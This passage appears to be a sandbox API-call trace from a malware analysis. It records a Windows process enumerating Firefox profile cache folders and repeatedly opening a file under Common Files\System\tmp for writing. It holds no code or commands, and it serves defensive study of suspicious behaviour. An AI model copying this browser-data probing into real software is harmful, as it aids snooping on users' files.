(lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0134.941] GetFileType (hFile=0x194) returned 0x1 [0134.941] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0134.942] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0134.942] GetLastError () returned 0x12 [0134.942] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0134.942] GetLastError () returned 0x12 [0134.942] AreFileApisANSI () returned 1 [0134.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0134.942] GetFileType (hFile=0x190) returned 0x1 [0134.942] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0134.942] AreFileApisANSI () returned 1 [0134.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0134.943] GetFileType (hFile=0x194) returned 0x1 [0134.943] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7680bb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7680bb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0134.943] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0134.943] GetLastError () returned 0x12 [0134.943] AreFileApisANSI () returned 1 [0134.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0134.943] GetFileType (hFile=0x194) returned 0x1 [0134.943] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0134.943] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0134.944] GetLastError () returned 0x12 [0134.944] AreFileApisANSI () returned 1 [0134.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0134.944] GetFileType (hFile=0x194) returned 0x1 [0134.944] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d7ec50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0134.944] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0134.944] GetLastError () returned 0x12 [0134.944] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0134.944] GetLastError () returned 0x12 [0134.944] AreFileApisANSI () returned 1 [0134.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0134.945] GetFileType (hFile=0x190) returned 0x1 [0134.945] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0134.945] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0134.945] GetLastError () returned 0x12 [0134.945] AreFileApisANSI () returned 1 [0134.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0134.945] GetFileType (hFile=0x190) returned 0x1 [0134.945] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0134.945] AreFileApisANSI () returned 1 [0134.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0134.946] GetFileType (hFile=0x194) returned 0x1 [0134.946] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0134.946] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0134.946] GetLastError () returned 0x12 [0134.946] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0134.946] GetLastError () returned 0x12 [0134.946] AreFileApisANSI () returned 1 [0134.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0134.946] GetFileType (hFile=0x190) returned 0x1 [0134.946] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0134.947] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0134.947] GetLastError () returned 0x12 [0134.947] AreFileApisANSI () returned 1 [0134.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0134.947] GetFileType (hFile=0x190) returned 0x1 [0134.947] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0134.947] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0134.947] GetLastError () returned 0x12 [0134.947] AreFileApisANSI () returned 1 [0134.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0134.947] GetFileType (hFile=0x190) returned 0x1 [0134.948] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0134.948] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0134.948] GetLastError () returned 0x12 [0134.948] AreFileApisANSI () returned 1 [0134.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0134.948] GetFileType (hFile=0x190) returned 0x1 [0134.948] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0134.948] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0134.948] GetLastError () returned 0x12 [0134.948] AreFileApisANSI () returned 1 [0134.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0134.949] GetFileType (hFile=0x190) returned 0x1 [0134.949] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0134.949] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0134.949] GetLastError () returned 0x12 [0134.949] AreFileApisANSI () returned 1 [0134.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0134.949] GetFileType (hFile=0x190) returned 0x1 [0134.949] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0134.950] AreFileApisANSI () returned 1 [0134.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0134.950] GetFileType (hFile=0x194) returned 0x1 [0134.950] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0134.950] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0134.950] GetLastError () returned 0x12 [0134.950] AreFileApisANSI () returned 1 [0134.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0134.950] GetFileType (hFile=0x194) returned 0x1 [0134.951] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d58af0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d58af0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0134.951] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0134.951] GetLastError () returned 0x12 [0134.951] AreFileApisANSI () returned 1 [0134.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0134.951] GetFileType (hFile=0x194) returned 0x1 [0134.956] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0134.956] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0134.956] GetLastError () returned 0x12 [0134.956] AreFileApisANSI () returned 1 [0134.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0134.956] GetFileType (hFile=0x194) returned 0x1 [0134.956] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0134.957] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0134.957] GetLastError () returned 0x12 [0134.957] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0134.957] GetLastError () returned 0x12 [0134.957] AreFileApisANSI () returned 1 [0134.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0134.957] GetFileType (hFile=0x190) returned 0x1 [0134.957] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application 